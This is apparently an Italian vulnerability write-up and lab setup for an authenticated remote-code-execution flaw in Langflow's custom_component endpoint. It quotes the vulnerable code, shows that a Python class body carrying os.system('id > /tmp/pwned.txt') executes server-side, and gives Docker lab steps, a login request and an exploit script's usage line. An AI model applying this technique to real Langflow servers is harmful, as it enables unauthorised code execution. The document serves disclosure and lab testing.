
PoC per CVE-2026-17633 — RCE autenticato in IBM Langflow OSS 1.0.0–1.10.3 tramite l'endpoint custom_component. Include la ricerca sul bypass dello scanner AST di CVE-2026-17632.
Solo per scopi educativi. Utilizzare esclusivamente contro sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta ai test.
Langflow è una piattaforma open-source low-code per la creazione di applicazioni basate su LLM e flussi di lavoro di agenti AI. Fornisce un'interfaccia visuale drag-and-drop in cui gli utenti possono collegare componenti — modelli, retriever, strumenti, memoria, codice Python personalizzato — in flussi eseguibili. La funzionalità Custom Component consente agli utenti di definire il comportamento dei componenti direttamente in Python, che è la superficie di attacco sfruttata in questa ricerca.
Il 5 agosto 2026, IBM ha pubblicato un Security Bulletin che divulga un batch di vulnerabilità che interessano le versioni di Langflow OSS dalla 1.0.0 alla 1.10.3. Il bollettino completo è disponibile all'indirizzo:
Questa ricerca si concentra su due CVE di quel batch:
| CVE | CVSS | Riepilogo |
|---|---|---|
| CVE-2026-17633 | 8.5 HIGH | RCE autenticato tramite /api/v1/custom_component — codice passato direttamente a exec() senza alcuna scansione di sicurezza |
| CVE-2026-17632 | 8.8 HIGH | Bypass dello scanner di sicurezza AST — codice Python appositamente costruito supera scan_code_security() con is_safe: True eseguendo al contempo comandi OS arbitrari |
Entrambe le CVE sono state scoperte in modo indipendente tramite analisi statica del codice sorgente di Langflow 1.10.3.
Questa ricerca è stata condotta in un ambiente di laboratorio isolato contro un'istanza Langflow self-hosted. Tutti i risultati sono divulgati in modo responsabile. Non utilizzare quanto segue contro sistemi senza esplicita autorizzazione scritta.
L'endpoint POST /api/v1/custom_component in Langflow OSS 1.0.0–1.10.3 accetta codice Python arbitrario da un utente autenticato e lo esegue lato server tramite la funzione exec() di Python. A differenza del percorso Agentic Assistant, questo endpoint non chiama scan_code_security() né alcun altro validatore di contenuto basato su AST prima dell'esecuzione. Qualsiasi utente autenticato può ottenere l'esecuzione di codice remoto con una singola richiesta HTTP.
CWE-94 — Controllo improprio della generazione di codice
/api/v1/custom_componentSorgente: langflow/api/v1/endpoints.py — riga 1271
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
Quando LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true (comune nelle distribuzioni in produzione), il codice va direttamente a build_custom_component_template() con zero ispezione del contenuto.
prepare_global_scope() e ast.ExprLa catena di esecuzione porta a create_class() in lfx/custom/validate.py, che chiama prepare_global_scope() prima di compilare ed eseguire la classe:
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
Una chiamata di funzione nuda a livello di modulo (ad es. os.system(...)) è un nodo ast.Expr — non viene intercettata dal controllo isinstance e viene silenziosamente scartata. Tuttavia, il codice inserito all'interno del corpo della classe fa parte del nodo ClassDef e viene eseguito integralmente quando la classe viene definita tramite exec() all'interno di compile_class_code().
Questa è l'intuizione chiave: il payload deve trovarsi all'interno del corpo della classe, non a livello di modulo.
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
Nessun LLM richiesto. Nessun bypass dello scanner necessario. Singola richiesta HTTP.
| Requisito | Valore |
|---|---|
| OS host | Kali Linux (testato) |
| Docker | CE 5.x + plugin Compose v2 |
| Immagine Langflow | langflowai/langflow:1.10.3 |
| RAM | 4 GB minimo per il container |
Creare una directory per il laboratorio e salvare quanto segue come docker-compose.yml:
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
Avviare il laboratorio:
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
Accedere a http://127.0.0.1:7860 con le credenziali superuser definite sopra. Il token di accesso è memorizzato nel cookie del browser access_token_lf. In alternativa, recuperarlo tramite l'API:
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
Copiare il valore access_token dalla risposta.
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]